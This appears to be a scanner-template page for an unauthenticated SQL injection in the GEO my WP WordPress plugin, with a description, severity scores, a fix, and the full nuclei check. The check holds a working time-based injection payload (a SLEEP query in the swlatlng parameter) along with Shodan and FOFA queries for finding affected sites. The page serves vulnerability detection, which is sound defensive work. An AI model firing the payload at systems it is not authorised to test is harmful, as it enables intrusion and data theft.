GEO my WP <= 4.5.5 - Unauthenticated SQL Injection

criticalseverity

9.3CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

The GEO my WP plugin for WordPress up to and including 4.5.5 does not sanitise the swlatlng and nelatlng map boundary parameters of its locator search form. The values are split on a comma and concatenated directly into the SQL query, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.

Impact

Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.

Fix

Update to a version later than 4.5.5 or the latest available version.

How to confirm it

Send: GET /wp-content/plugins/geo-my-wp/readme.txt
Positive when: compare_versions(version, "< 4.5.5.1")
Send: @timeout: 10s
Positive when: status_code == 200 and duration >= 6

Run it with nuclei: nuclei -id CVE-2026-52715 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-52715

info:
  name: GEO my WP <= 4.5.5 - Unauthenticated SQL Injection
  author: HaroonArshad-53
  severity: critical
  description: |
    The GEO my WP plugin for WordPress up to and including 4.5.5 does not sanitise the swlatlng and nelatlng map boundary parameters of its locator search form. The values are split on a comma and concatenated directly into the SQL query, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
  remediation: |
    Update to a version later than 4.5.5 or the latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-52715
    - https://dev.to/guidance_white/cve-2026-52715-unauthenticated-sql-injection-in-geo-my-wp-via-map-boundary-search-2fij
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-52715
    epss-score: 0.01187
    epss-percentile: 0.68132
    cwe-id: CWE-89
  metadata:
    max-request: 2
    vendor: eyal-fitoussi
    product: geo-my-wp
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/geo-my-wp/"
    fofa-query: body="/wp-content/plugins/geo-my-wp/"
  tags: cve,cve2026,wordpress,wp-plugin,geo-my-wp,sqli,time-based-sqli,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/geo-my-wp/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - compare_versions(version, "< 4.5.5.1")

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - "Stable tag: ([0-9.]+)"

  - raw:
      - |
        @timeout: 10s
        GET /?page_id=4&swlatlng=%28SELECT%20SLEEP%286%29%29%2C0&nelatlng=1%2C1 HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - duration >= 6
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from